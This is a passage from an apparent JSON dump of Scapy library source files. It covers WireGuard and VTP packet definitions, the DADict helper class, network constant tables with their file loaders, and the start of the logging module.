16, 16),\n                         lambda pkt:pkt.code == 1),\n        ConditionalField(\n            PacketListField(\"vlaninfo\", [], VTPVlanInfo),\n            lambda pkt: pkt.code == 2),\n        ConditionalField(ShortField(\"startvalue\", 0),\n                         lambda pkt:pkt.code == 3)\n    ]\n\n    def post_build(self, p, pay):\n        if self.domnamelen is None:\n            domnamelen = len(self.domname.strip(b\"\\x00\"))\n            p = p[:3] + chb(domnamelen & 0xff) + p[4:]\n\n        p += pay\n\n        return p\n\n\nbind_layers(SNAP, VTP, code=0x2003)\n\nif __name__ == '__main__':\n    from scapy.main import interact\n    interact(mydict=globals(), mybanner=\"VTP\")\n"
  },
  {
    "path": "scapy/contrib/wireguard.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = WireGuard\n# scapy.contrib.status = loads\n\n\"\"\"WireGuard Module\nImplements the WireGuard network tunnel protocol.\nBased on the whitepaper: https://www.wireguard.com/papers/wireguard.pdf\n\"\"\"\n\nfrom scapy.fields import ByteEnumField, ThreeBytesField, XLEIntField, \\\n    XStrFixedLenField, XLELongField, XStrField\nfrom scapy.layers.inet import UDP\nfrom scapy.packet import Packet, bind_layers\n\n\nclass Wireguard(Packet):\n    \"\"\"\n    Wrapper that only contains the message type.\n    \"\"\"\n    name = \"Wireguard\"\n\n    fields_desc = [\n        ByteEnumField(\n            \"message_type\", 1,\n            {\n                1: \"initiate\",\n                2: \"respond\",\n                3: \"cookie reply\",\n                4: \"transport\"\n            }\n        ),\n        ThreeBytesField(\"reserved_zero\", 0)\n    ]\n\n\nclass WireguardInitiation(Packet):\n    name = \"Wireguard Initiation\"\n\n    fields_desc = [\n        XLEIntField(\"sender_index\", 0),\n        XStrFixedLenField(\"unencrypted_ephemeral\", 0, 32),\n        XStrFixedLenField(\"encrypted_static\", 0, 48),\n        XStrFixedLenField(\"encrypted_timestamp\", 0, 28),\n        XStrFixedLenField(\"mac1\", 0, 16),\n        XStrFixedLenField(\"mac2\", 0, 16),\n    ]\n\n\nclass WireguardResponse(Packet):\n    name = \"Wireguard Response\"\n\n    fields_desc = [\n        XLEIntField(\"sender_index\", 0),\n        XLEIntField(\"receiver_index\", 0),\n        XStrFixedLenField(\"unencrypted_ephemeral\", 0, 32),\n        XStrFixedLenField(\"encrypted_nothing\", 0, 16),\n        XStrFixedLenField(\"mac1\", 0, 16),\n        XStrFixedLenField(\"mac2\", 0, 16),\n    ]\n\n\nclass WireguardTransport(Packet):\n    name = \"Wireguard Transport\"\n\n    fields_desc = [\n        XLEIntField(\"receiver_index\", 0),\n        XLELongField(\"counter\", 0),\n        XStrField(\"encrypted_encapsulated_packet\", None)\n    ]\n\n\nclass WireguardCookieReply(Packet):\n    name = \"Wireguard Cookie Reply\"\n\n    fields_desc = [\n        XLEIntField(\"receiver_index\", 0),\n        XStrFixedLenField(\"nonce\", 0, 24),\n        XStrFixedLenField(\"encrypted_cookie\", 0, 32),\n    ]\n\n\nbind_layers(Wireguard, WireguardInitiation, message_type=1)\nbind_layers(Wireguard, WireguardResponse, message_type=2)\nbind_layers(Wireguard, WireguardCookieReply, message_type=3)\nbind_layers(Wireguard, WireguardTransport, message_type=4)\nbind_layers(UDP, Wireguard, dport=51820)\nbind_layers(UDP, Wireguard, sport=51820)\n"
  },
  {
    "path": "scapy/dadict.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nDirect Access dictionary.\n\"\"\"\n\nfrom scapy.error import Scapy_Exception\nfrom scapy.compat import plain_str\n\n# Typing\nfrom typing import (\n    Any,\n    Dict,\n    Generic,\n    Iterator,\n    List,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n)\nfrom scapy.compat import Self\n\n\n###############################\n#  Direct Access dictionary   #\n###############################\n\n\ndef fixname(x):\n    # type: (Union[bytes, str]) -> str\n    \"\"\"\n    Modifies a string to make sure it can be used as an attribute name.\n    \"\"\"\n    x = plain_str(x)\n    if x and str(x[0]) in \"0123456789\":\n        x = \"n_\" + x\n    return x.translate(\n        \"________________________________________________\"\n        \"0123456789_______ABCDEFGHIJKLMNOPQRSTUVWXYZ______\"\n        \"abcdefghijklmnopqrstuvwxyz____________________________\"\n        \"______________________________________________________\"\n        \"___________________________________________________\"\n    )\n\n\nclass DADict_Exception(Scapy_Exception):\n    pass\n\n\n_K = TypeVar('_K')  # Key type\n_V = TypeVar('_V')  # Value type\n\n\nclass DADict(Generic[_K, _V]):\n    \"\"\"\n    Direct Access Dictionary\n\n    This acts like a dict, but it provides a direct attribute access\n    to its keys through its values. This is used to store protocols,\n    manuf...\n\n    For instance, scapy fields will use a DADict as an enum::\n\n        ETHER_TYPES[2048] -> IPv4\n\n    Whereas humans can access::\n\n        ETHER_TYPES.IPv4 -> 2048\n    \"\"\"\n    __slots__ = [\"_name\", \"d\"]\n\n    def __init__(self, _name=\"DADict\", **kargs):\n        # type: (str, **Any) -> None\n        self._name = _name\n        self.d = {}  # type: Dict[_K, _V]\n        self.update(kargs)  # type: ignore\n\n    def ident(self, v):\n        # type: (_V) -> str\n        \"\"\"\n        Return value that is used as key for the direct access\n        \"\"\"\n        if isinstance(v, (str, bytes)):\n            return fixname(v)\n        return \"unknown\"\n\n    def update(self, *args, **kwargs):\n        # type: (*Dict[_K, _V], **Dict[_K, _V]) -> None\n        for k, v in dict(*args, **kwargs).items():\n            self[k] = v  # type: ignore\n\n    def iterkeys(self):\n        # type: () -> Iterator[_K]\n        for x in self.d:\n            if not isinstance(x, str) or x[0] != \"_\":\n                yield x\n\n    def keys(self):\n        # type: () -> List[_K]\n        return list(self.iterkeys())\n\n    def __iter__(self):\n        # type: () -> Iterator[_K]\n        return self.iterkeys()\n\n    def itervalues(self):\n        # type: () -> Iterator[_V]\n        return self.d.values()  # type: ignore\n\n    def values(self):\n        # type: () -> List[_V]\n        return list(self.itervalues())\n\n    def _show(self):\n        # type: () -> None\n        for k in self.iterkeys():\n            print(\"%10s = %r\" % (k, self[k]))\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s - %s elements>\" % (self._name, len(self))\n\n    def __getitem__(self, attr):\n        # type: (_K) -> _V\n        return self.d[attr]\n\n    def __setitem__(self, attr, val):\n        # type: (_K, _V) -> None\n        self.d[attr] = val\n\n    def __len__(self):\n        # type: () -> int\n        return len(self.d)\n\n    def __nonzero__(self):\n        # type: () -> bool\n        # Always has at least its name\n        return len(self) > 1\n    __bool__ = __nonzero__\n\n    def __getattr__(self, attr):\n        # type: (str) -> _K\n        try:\n            return object.__getattribute__(self, attr)  # type: ignore\n        except AttributeError:\n            for k, v in self.d.items():\n                if self.ident(v) == attr:\n                    return k\n        raise AttributeError\n\n    def __dir__(self):\n        # type: () -> List[str]\n        return [self.ident(x) for x in self.itervalues()]\n\n    def __reduce__(self):\n        # type: () -> Tuple[Type[Self], Tuple[str], Tuple[Dict[_K, _V]]]\n        return (self.__class__, (self._name,), (self.d,))\n\n    def __setstate__(self, state):\n        # type: (Tuple[Dict[_K, _V]]) -> Self\n        self.d.update(state[0])\n        return self\n"
  },
  {
    "path": "scapy/data.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nGlobal variables and functions for handling external data sets.\n\"\"\"\n\nimport calendar\nimport hashlib\nimport os\nimport pickle\nimport warnings\n\nfrom scapy.dadict import DADict, fixname\nfrom scapy.consts import FREEBSD, NETBSD, OPENBSD, WINDOWS\nfrom scapy.error import log_loading\n\n# Typing imports\nfrom typing import (\n    Any,\n    Callable,\n    Dict,\n    Iterator,\n    List,\n    Optional,\n    Tuple,\n    Union,\n    cast,\n)\nfrom scapy.compat import DecoratorCallable\n\n\n############\n#  Consts  #\n############\n\nETHER_ANY = b\"\\x00\" * 6\nETHER_BROADCAST = b\"\\xff\" * 6\n\n# From bits/socket.h\nSOL_PACKET = 263\n# From asm/socket.h\nSO_ATTACH_FILTER = 26\nSO_TIMESTAMPNS = 35  # SO_TIMESTAMPNS_OLD: not 2038 safe\n\nETH_P_ALL = 3\nETH_P_IP = 0x800\nETH_P_ARP = 0x806\nETH_P_IPV6 = 0x86dd\nETH_P_MACSEC = 0x88e5\n\n# From net/if_arp.h\nARPHDR_ETHER = 1\nARPHDR_METRICOM = 23\nARPHDR_PPP = 512\nARPHDR_LOOPBACK = 772\nARPHDR_TUN = 65534\n\n# From pcap/dlt.h\nDLT_NULL = 0\nDLT_EN10MB = 1\nDLT_EN3MB = 2\nDLT_AX25 = 3\nDLT_PRONET = 4\nDLT_CHAOS = 5\nDLT_IEEE802 = 6\nDLT_ARCNET = 7\nDLT_SLIP = 8\nDLT_PPP = 9\nDLT_FDDI = 10\nif OPENBSD:\n    DLT_RAW = 14\nelse:\n    DLT_RAW = 12\nDLT_RAW_ALT = 101  # At least in Argus\nif FREEBSD or NETBSD:\n    DLT_SLIP_BSDOS = 13\n    DLT_PPP_BSDOS = 14\nelse:\n    DLT_SLIP_BSDOS = 15\n    DLT_PPP_BSDOS = 16\nif FREEBSD:\n    DLT_PFSYNC = 121\nelse:\n    DLT_PFSYNC = 18\n    DLT_HHDLC = 121\nDLT_ATM_CLIP = 19\nDLT_PPP_SERIAL = 50\nDLT_PPP_ETHER = 51\nDLT_SYMANTEC_FIREWALL = 99\nDLT_C_HDLC = 104\nDLT_IEEE802_11 = 105\nDLT_FRELAY = 107\nif OPENBSD:\n    DLT_LOOP = 12\n    DLT_ENC = 13\nelse:\n    DLT_LOOP = 108\n    DLT_ENC = 109\nDLT_LINUX_SLL = 113\nDLT_LTALK = 114\nDLT_PFLOG = 117\nDLT_PRISM_HEADER = 119\nDLT_AIRONET_HEADER = 120\nDLT_IP_OVER_FC = 122\nDLT_IEEE802_11_RADIO = 127\nDLT_ARCNET_LINUX = 129\nDLT_LINUX_IRDA = 144\nDLT_IEEE802_11_RADIO_AVS = 163\nDLT_LINUX_LAPD = 177\nDLT_BLUETOOTH_HCI_H4 = 187\nDLT_USB_LINUX = 189\nDLT_PPI = 192\nDLT_IEEE802_15_4_WITHFCS = 195\nDLT_BLUETOOTH_HCI_H4_WITH_PHDR = 201\nDLT_AX25_KISS = 202\nDLT_PPP_WITH_DIR = 204\nDLT_FC_2 = 224\nDLT_CAN_SOCKETCAN = 227\nif OPENBSD:\n    DLT_IPV4 = DLT_RAW\n    DLT_IPV6 = DLT_RAW\nelse:\n    DLT_IPV4 = 228\n    DLT_IPV6 = 229\nDLT_IEEE802_15_4_NOFCS = 230\nDLT_USBPCAP = 249\nDLT_NETLINK = 253\nDLT_USB_DARWIN = 266\nDLT_BLUETOOTH_LE_LL = 251\nDLT_BLUETOOTH_LINUX_MONITOR = 254\nDLT_BLUETOOTH_LE_LL_WITH_PHDR = 256\nDLT_VSOCK = 271\nDLT_NORDIC_BLE = 272\nDLT_ETHERNET_MPACKET = 274\nDLT_LINUX_SLL2 = 276\n\n# From net/ipv6.h on Linux (+ Additions)\nIPV6_ADDR_UNICAST = 0x01\nIPV6_ADDR_MULTICAST = 0x02\nIPV6_ADDR_CAST_MASK = 0x0F\nIPV6_ADDR_LOOPBACK = 0x10\nIPV6_ADDR_GLOBAL = 0x00\nIPV6_ADDR_LINKLOCAL = 0x20\nIPV6_ADDR_SITELOCAL = 0x40     # deprecated since Sept. 2004 by RFC 3879\nIPV6_ADDR_SCOPE_MASK = 0xF0\n# IPV6_ADDR_COMPATv4   = 0x80     # deprecated; i.e. ::/96\n# IPV6_ADDR_MAPPED     = 0x1000   # i.e.; ::ffff:0.0.0.0/96\nIPV6_ADDR_6TO4 = 0x0100   # Added to have more specific info (should be 0x0101 ?)  # noqa: E501\nIPV6_ADDR_UNSPECIFIED = 0x10000\n\n# from if_arp.h\nARPHRD_ETHER = 1\nARPHRD_EETHER = 2\nARPHRD_AX25 = 3\nARPHRD_PRONET = 4\nARPHRD_CHAOS = 5\nARPHRD_IEEE802 = 6\nARPHRD_ARCNET = 7\nARPHRD_DLCI = 15\nARPHRD_ATM = 19\nARPHRD_METRICOM = 23\nARPHRD_SLIP = 256\nARPHRD_CSLIP = 257\nARPHRD_SLIP6 = 258\nARPHRD_CSLIP6 = 259\nARPHRD_ADAPT = 264\nARPHRD_CAN = 280\nARPHRD_PPP = 512\nARPHRD_CISCO = 513\nARPHRD_RAWHDLC = 518\nARPHRD_TUNNEL = 768\nARPHRD_FRAD = 770\nARPHRD_LOOPBACK = 772\nARPHRD_LOCALTLK = 773\nARPHRD_FDDI = 774\nARPHRD_SIT = 776\nARPHRD_FCPP = 784\nARPHRD_FCAL = 785\nARPHRD_FCPL = 786\nARPHRD_FCFABRIC = 787\nARPHRD_IRDA = 783\nARPHRD_IEEE802_TR = 800\nARPHRD_IEEE80211 = 801\nARPHRD_IEEE80211_PRISM = 802\nARPHRD_IEEE80211_RADIOTAP = 803\nARPHRD_IEEE802154 = 804\nARPHRD_NETLINK = 824\nARPHRD_VSOCKMON = 826  # from pcap/pcap-linux.c\nARPHRD_LAPD = 8445  # from pcap/pcap-linux.c\nARPHRD_NONE = 0xFFFE\n\nARPHRD_TO_DLT = {  # netlink -> datalink\n    ARPHRD_ETHER: DLT_EN10MB,\n    ARPHRD_METRICOM: DLT_EN10MB,\n    ARPHRD_LOOPBACK: DLT_EN10MB,\n    ARPHRD_EETHER: DLT_EN3MB,\n    ARPHRD_AX25: DLT_AX25_KISS,\n    ARPHRD_PRONET: DLT_PRONET,\n    ARPHRD_CHAOS: DLT_CHAOS,\n    ARPHRD_CAN: DLT_LINUX_SLL,\n    ARPHRD_IEEE802_TR: DLT_IEEE802,\n    ARPHRD_IEEE802: DLT_EN10MB,\n    ARPHRD_ARCNET: DLT_ARCNET_LINUX,\n    ARPHRD_FDDI: DLT_FDDI,\n    ARPHRD_ATM: -1,\n    ARPHRD_IEEE80211: DLT_IEEE802_11,\n    ARPHRD_IEEE80211_PRISM: DLT_PRISM_HEADER,\n    ARPHRD_IEEE80211_RADIOTAP: DLT_IEEE802_11_RADIO,\n    ARPHRD_PPP: DLT_RAW,\n    ARPHRD_CISCO: DLT_C_HDLC,\n    ARPHRD_SIT: DLT_RAW,\n    ARPHRD_CSLIP: DLT_RAW,\n    ARPHRD_SLIP6: DLT_RAW,\n    ARPHRD_CSLIP6: DLT_RAW,\n    ARPHRD_ADAPT: DLT_RAW,\n    ARPHRD_SLIP: DLT_RAW,\n    ARPHRD_RAWHDLC: DLT_RAW,\n    ARPHRD_DLCI: DLT_RAW,\n    ARPHRD_FRAD: DLT_FRELAY,\n    ARPHRD_LOCALTLK: DLT_LTALK,\n    18: DLT_IP_OVER_FC,\n    ARPHRD_FCPP: DLT_FC_2,\n    ARPHRD_FCAL: DLT_FC_2,\n    ARPHRD_FCPL: DLT_FC_2,\n    ARPHRD_FCFABRIC: DLT_FC_2,\n    ARPHRD_IRDA: DLT_LINUX_IRDA,\n    ARPHRD_LAPD: DLT_LINUX_LAPD,\n    ARPHRD_NONE: DLT_RAW,\n    ARPHRD_IEEE802154: DLT_IEEE802_15_4_NOFCS,\n    ARPHRD_NETLINK: DLT_NETLINK,\n    ARPHRD_VSOCKMON: DLT_VSOCK,\n}\n\n# Constants for PPI header types.\nPPI_DOT11COMMON = 2\nPPI_DOT11NMAC = 3\nPPI_DOT11NMACPHY = 4\nPPI_SPECTRUM_MAP = 5\nPPI_PROCESS_INFO = 6\nPPI_CAPTURE_INFO = 7\nPPI_AGGREGATION = 8\nPPI_DOT3 = 9\nPPI_GPS = 30002\nPPI_VECTOR = 30003\nPPI_SENSOR = 30004\nPPI_ANTENNA = 30005\nPPI_BTLE = 30006\n\n# Human-readable type names for PPI header types.\nPPI_TYPES = {\n    PPI_DOT11COMMON: 'dot11-common',\n    PPI_DOT11NMAC: 'dot11-nmac',\n    PPI_DOT11NMACPHY: 'dot11-nmacphy',\n    PPI_SPECTRUM_MAP: 'spectrum-map',\n    PPI_PROCESS_INFO: 'process-info',\n    PPI_CAPTURE_INFO: 'capture-info',\n    PPI_AGGREGATION: 'aggregation',\n    PPI_DOT3: 'dot3',\n    PPI_GPS: 'gps',\n    PPI_VECTOR: 'vector',\n    PPI_SENSOR: 'sensor',\n    PPI_ANTENNA: 'antenna',\n    PPI_BTLE: 'btle',\n}\n\n\n# On windows, epoch is 01/02/1970 at 00:00\nEPOCH = calendar.timegm((1970, 1, 2, 0, 0, 0, 3, 1, 0)) - 86400\n\nMTU = 0xffff  # a.k.a give me all you have\n\n\n# In fact, IANA enterprise-numbers file available at\n# http://www.iana.org/assignments/enterprise-numbers\n# is simply huge (more than 2Mo and 600Ko in bz2). I'll\n# add only most common vendors, and encountered values.\n# -- arno\nIANA_ENTERPRISE_NUMBERS = {\n    9: \"ciscoSystems\",\n    35: \"Nortel Networks\",\n    43: \"3Com\",\n    311: \"Microsoft\",\n    2636: \"Juniper Networks, Inc.\",\n    4526: \"Netgear\",\n    5771: \"Cisco Systems, Inc.\",\n    5842: \"Cisco Systems\",\n    11129: \"Google, Inc\",\n    16885: \"Nortel Networks\",\n}\n\n\ndef scapy_data_cache(name):\n    # type: (str) -> Callable[[DecoratorCallable], DecoratorCallable]\n    \"\"\"\n    This decorator caches the loading of 'data' dictionaries, in order to reduce\n    loading times.\n    \"\"\"\n    from scapy.main import SCAPY_CACHE_FOLDER\n    if SCAPY_CACHE_FOLDER is None:\n        # Cannot cache.\n        return lambda x: x\n    cachepath = SCAPY_CACHE_FOLDER / (name + \".pickle\")\n\n    def _cached_loader(func, name=name):\n        # type: (DecoratorCallable, str) -> DecoratorCallable\n        def load(filename=None):\n            # type: (Optional[str]) -> Any\n            cache_id = hashlib.sha256((filename or \"\").encode()).hexdigest()\n            if cachepath.exists():\n                try:\n                    with cachepath.open(\"rb\") as fd:\n                        data = pickle.load(fd)\n                    if data[\"id\"] == cache_id:\n                        return data[\"content\"]\n                except Exception as ex:\n                    log_loading.info(\n                        \"Couldn't load cache from %s: %s\" % (\n                            str(cachepath),\n                            str(ex),\n                        )\n                    )\n                    cachepath.unlink(missing_ok=True)\n            # Cache does not exist or is invalid.\n            content = func(filename)\n            data = {\n                \"content\": content,\n                \"id\": cache_id,\n            }\n            try:\n                cachepath.parent.mkdir(parents=True, exist_ok=True)\n                with cachepath.open(\"wb\") as fd:\n                    pickle.dump(data, fd)\n                return content\n            except Exception as ex:\n                log_loading.info(\n                    \"Couldn't write cache into %s: %s\" % (\n                        str(cachepath),\n                        str(ex)\n                    )\n                )\n                return content\n        return load  # type: ignore\n    return _cached_loader\n\n\ndef load_protocols(filename, _fallback=None, _integer_base=10,\n                   _cls=DADict[int, str]):\n    # type: (str, Optional[Callable[[], Iterator[str]]], int, type) -> DADict[int, str]\n    \"\"\"\"\n    Parse /etc/protocols and return values as a dictionary.\n    \"\"\"\n    dct = _cls(_name=filename)  # type: DADict[int, str]\n\n    def _process_data(fdesc):\n        # type: (Iterator[str]) -> None\n        for line in fdesc:\n            try:\n                shrp = line.find(\"#\")\n                if shrp >= 0:\n                    line = line[:shrp]\n                line = line.strip()\n                if not line:\n                    continue\n                lt = tuple(line.split())\n                if len(lt) < 2 or not lt[0]:\n                    continue\n                dct[int(lt[1], _integer_base)] = fixname(lt[0])\n            except Exception as e:\n                log_loading.info(\n                    \"Couldn't parse file [%s]: line [%r] (%s)\",\n                    filename,\n                    line,\n                    e,\n                )\n    try:\n        if not filename:\n            raise IOError\n        with open(filename, \"r\", errors=\"backslashreplace\") as fdesc:\n            _process_data(fdesc)\n    except IOError:\n        if _fallback:\n            _process_data(_fallback())\n        else:\n            log_loading.info(\"Can't open %s file\", filename)\n    return dct\n\n\nclass EtherDA(DADict[int, str]):\n    # Backward compatibility: accept\n    # ETHER_TYPES[\"MY_GREAT_TYPE\"] = 12\n    def __setitem__(self, attr, val):\n        # type: (int, str) -> None\n        if isinstance(attr, str):\n            attr, val = val, attr\n            warnings.warn(\n                \"ETHER_TYPES now uses the integer value as key !\",\n                DeprecationWarning\n            )\n        super(EtherDA, self).__setitem__(attr, val)\n\n    def __getitem__(self, attr):\n        # type: (int) -> Any\n        if isinstance(attr, str):\n            warnings.warn(\n                \"Please use 'ETHER_TYPES.%s'\" % attr,\n                DeprecationWarning\n            )\n            return super(EtherDA, self).__getattr__(attr)\n        return super(EtherDA, self).__getitem__(attr)\n\n\n@scapy_data_cache(\"ethertypes\")\ndef load_ethertypes(filename=None):\n    # type: (Optional[str]) -> EtherDA\n    \"\"\"\"Parse /etc/ethertypes and return values as a dictionary.\n    If unavailable, use the copy bundled with Scapy.\"\"\"\n    def _fallback() -> Iterator[str]:\n        # Fallback. Lazy loaded as the file is big.\n        from scapy.libs.ethertypes import DATA\n        return iter(DATA.split(\"\\n\"))\n    prot = load_protocols(filename or \"scapy/ethertypes\",\n                          _fallback=_fallback,\n                          _integer_base=16,\n                          _cls=EtherDA)\n    return cast(EtherDA, prot)\n\n\n@scapy_data_cache(\"services\")\ndef load_services(filename):\n    # type: (str) -> Tuple[DADict[int, str], DADict[int, str], DADict[int, str]]  # noqa: E501\n    tdct = DADict(_name=\"%s-tcp\" % filename)  # type: DADict[int, str]\n    udct = DADict(_name=\"%s-udp\" % filename)  # type: DADict[int, str]\n    sdct = DADict(_name=\"%s-sctp\" % filename)  # type: DADict[int, str]\n    dcts = {\n        b\"tcp\": tdct,\n        b\"udp\": udct,\n        b\"sctp\": sdct,\n    }\n    try:\n        with open(filename, \"rb\") as fdesc:\n            for line in fdesc:\n                try:\n                    shrp = line.find(b\"#\")\n                    if shrp >= 0:\n                        line = line[:shrp]\n                    line = line.strip()\n                    if not line:\n                        continue\n                    lt = tuple(line.split())\n                    if len(lt) < 2 or not lt[0]:\n                        continue\n                    if b\"/\" not in lt[1]:\n                        continue\n                    port, proto = lt[1].split(b\"/\", 1)\n                    try:\n                        dtct = dcts[proto]\n                    except KeyError:\n                        continue\n                    name = fixname(lt[0])\n                    if b\"-\" in port:\n                        sport, eport = port.split(b\"-\")\n                        for i in range(int(sport), int(eport) + 1):\n                            dtct[i] = name\n                    else:\n                        dtct[int(port)] = name\n                except Exception as e:\n                    log_loading.warning(\n                        \"Couldn't parse file [%s]: line [%r] (%s)\",\n                        filename,\n                        line,\n                        e,\n                    )\n    except IOError:\n        log_loading.info(\"Can't open /etc/services file\")\n    return tdct, udct, sdct\n\n\nclass ManufDA(DADict[str, Tuple[str, str]]):\n    def ident(self, v):\n        # type: (Any) -> str\n        return fixname(v[0] if isinstance(v, tuple) else v)\n\n    def _get_manuf_couple(self, mac):\n        # type: (str) -> Tuple[str, str]\n        oui = \":\".join(mac.split(\":\")[:3]).upper()\n        return self.d.get(oui, (mac, mac))\n\n    def _get_manuf(self, mac):\n        # type: (str) -> str\n        return self._get_manuf_couple(mac)[1]\n\n    def _get_short_manuf(self, mac):\n        # type: (str) -> str\n        return self._get_manuf_couple(mac)[0]\n\n    def _resolve_MAC(self, mac):\n        # type: (str) -> str\n        oui = \":\".join(mac.split(\":\")[:3]).upper()\n        if oui in self:\n            return \":\".join([self[oui][0]] + mac.split(\":\")[3:])\n        return mac\n\n    def lookup(self, mac):\n        # type: (str) -> Tuple[str, str]\n        \"\"\"Find OUI name matching to a MAC\"\"\"\n        return self._get_manuf_couple(mac)\n\n    def reverse_lookup(self, name, case_sensitive=False):\n        # type: (str, bool) -> Dict[str, str]\n        \"\"\"\n        Find all MACs registered to a OUI\n\n        :param name: the OUI name\n        :param case_sensitive: default to False\n        :returns: a dict of mac:tuples (Name, Extended Name)\n        \"\"\"\n        if case_sensitive:\n            filtr = lambda x, l: any(x in z for z in l)  # type: Callable[[str, Tuple[str, str]], bool]  # noqa: E501\n        else:\n            name = name.lower()\n            filtr = lambda x, l: any(x in z.lower() for z in l)\n        return {k: v for k, v in self.d.items() if filtr(name, v)}  # type: ignore\n\n    def __dir__(self):\n        # type: () -> List[str]\n        return [\n            \"_get_manuf\",\n            \"_get_short_manuf\",\n            \"_resolve_MAC\",\n            \"loopkup\",\n            \"reverse_lookup\",\n        ] + super(ManufDA, self).__dir__()\n\n\n@scapy_data_cache(\"manufdb\")\ndef load_manuf(filename=None):\n    # type: (Optional[str]) -> ManufDA\n    \"\"\"\n    Loads manuf file from Wireshark.\n\n    :param filename: the file to load the manuf file from\n    :returns: a ManufDA filled object\n    \"\"\"\n    manufdb = ManufDA(_name=filename or \"scapy/manufdb\")\n\n    def _process_data(fdesc):\n        # type: (Iterator[str]) -> None\n        for line in fdesc:\n            try:\n                line = line.strip()\n                if not line or line.startswith(\"#\"):\n                    continue\n                parts = line.split(None, 2)\n                oui, shrt = parts[:2]\n                lng = parts[2].lstrip(\"#\").strip() if len(parts) > 2 else \"\"\n                lng = lng or shrt\n                manufdb[oui] = shrt, lng\n            except Exception:\n                log_loading.warning(\"Couldn't parse one line from [%s] [%r]\",\n                                    filename, line, exc_info=True)\n\n    try:\n        if not filename:\n            raise IOError\n        with open(filename, \"r\", errors=\"backslashreplace\") as fdesc:\n            _process_data(fdesc)\n    except IOError:\n        # Fallback. Lazy loaded as the file is big.\n        from scapy.libs.manuf import DATA\n        _process_data(iter(DATA.split(\"\\n\")))\n    return manufdb\n\n\n@scapy_data_cache(\"bluetoothids\")\ndef load_bluetoothids(filename=None):\n    # type: (Optional[str]) -> Dict[int, str]\n    \"\"\"Load Bluetooth IDs into the cache\"\"\"\n    from scapy.libs.bluetoothids import DATA\n    return cast(Dict[int, str], DATA)\n\n\ndef select_path(directories, filename):\n    # type: (List[str], str) -> Optional[str]\n    \"\"\"Find filename among several directories\"\"\"\n    for directory in directories:\n        path = os.path.join(directory, filename)\n        if os.path.exists(path):\n            return path\n    return None\n\n\nif WINDOWS:\n    IP_PROTOS = load_protocols(os.path.join(\n        os.environ[\"SystemRoot\"],\n        \"system32\",\n        \"drivers\",\n        \"etc\",\n        \"protocol\",\n    ))\n    TCP_SERVICES, UDP_SERVICES, SCTP_SERVICES = load_services(os.path.join(\n        os.environ[\"SystemRoot\"],\n        \"system32\",\n        \"drivers\",\n        \"etc\",\n        \"services\",\n    ))\n    ETHER_TYPES = load_ethertypes()\n    MANUFDB = load_manuf()\nelse:\n    IP_PROTOS = load_protocols(\"/etc/protocols\")\n    TCP_SERVICES, UDP_SERVICES, SCTP_SERVICES = load_services(\"/etc/services\")\n    ETHER_TYPES = load_ethertypes(\"/etc/ethertypes\")\n    MANUFDB = load_manuf(\n        select_path(\n            ['/usr', '/usr/local', '/opt', '/opt/wireshark',\n             '/Applications/Wireshark.app/Contents/Resources'],\n            \"share/wireshark/manuf\"\n        )\n    )\n\nBLUETOOTH_CORE_COMPANY_IDENTIFIERS = load_bluetoothids()\n\n\n#####################\n#  knowledge bases  #\n#####################\nKBBaseType = Optional[Union[str, List[Tuple[str, Dict[str, Dict[str, str]]]]]]\n\n\nclass KnowledgeBase(object):\n    def __init__(self, filename):\n        # type: (Optional[Any]) -> None\n        self.filename = filename\n        self.base = None  # type: KBBaseType\n\n    def lazy_init(self):\n        # type: () -> None\n        self.base = \"\"\n\n    def reload(self, filename=None):\n        # type: (Optional[Any]) -> None\n        if filename is not None:\n            self.filename = filename\n        oldbase = self.base\n        self.base = None\n        self.lazy_init()\n        if self.base is None:\n            self.base = oldbase\n\n    def get_base(self):\n        # type: () -> Union[str, List[Tuple[str, Dict[str,Dict[str,str]]]]]\n        if self.base is None:\n            self.lazy_init()\n        return cast(Union[str, List[Tuple[str, Dict[str, Dict[str, str]]]]], self.base)\n"
  },
  {
    "path": "scapy/error.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nLogging subsystem and basic exception class.\n\"\"\"\n\n#############################\n#     Logging subsystem     #\n#############################\n\n\nimport logging\nimport traceback\nimport time\n\nfrom scapy.consts import WINDOWS\n\n# Typing imports\nfrom logging import LogRecord\nfrom typing import (\n    Any,\n    Dict,\n    Tuple,\n)\n\n\nclass Scapy_Exception(Exception):\n    pass\n\n\nclass ScapyInvalidPlatformException(Scapy_Exception):\n    pass\n\n\nclass ScapyNoDstMacException(Scapy_Exception):\n    pass\n\n\nclass ScapyFreqFilter(logging.Filter):\n    def __init__(self):\n        # type: () -> None\n        logging.Filter.__init__(self)\n        self.warning_table = {}  # type: Dict[int, Tuple[float, int]]  # noqa: E501\n\n    def filter(self, record):\n        # type: (LogRecord) -> bool\n        from scapy.config import conf\n        # Levels below INFO are not covered\n        if record.levelno <= logging.INFO:\n            return True\n        wt = conf.warning_threshold\n        if wt > 0:\n            stk = traceback.extract_stack()\n            caller = 0  # type: int\n            for _, l, n, _ in stk:\n                if n == 'warning':\n                    break\n                caller = l\n            tm, nb = self.warning_table.get(caller, (0, 0))\n            ltm = time.time()\n            if ltm - tm > wt:\n                tm = ltm\n                nb = 0\n            else:\n                if nb < 2:\n                    nb += 1\n                    if nb == 2:\n                        record.msg = \"more \" + str(record.msg)\n                else:\n                    return False\n            self.warning_table[caller] = (tm, nb)\n        return True\n\n\nclass ScapyColoredFormatter(logging.Formatter):\n    \"\"\"A subclass of logging.Formatter that handles colors.\"\"\"\n    levels_colored = {\n        'DEBUG': 'reset',\n        'INFO': 'reset',\n        'WARNING': 'bold+yellow',\n        'ERROR': 'bold+red',\n        'CRITICAL': 'bold+white+bg_red'\n    }\n\n    def format(self, record):\n        # type: (LogRecord) -> str\n        message = super(ScapyColoredFormatter, self).format(record)\n        from scapy.config import conf\n        message = conf.color_theme.format(\n            message,\n            self.levels_colored[record.levelname]\n     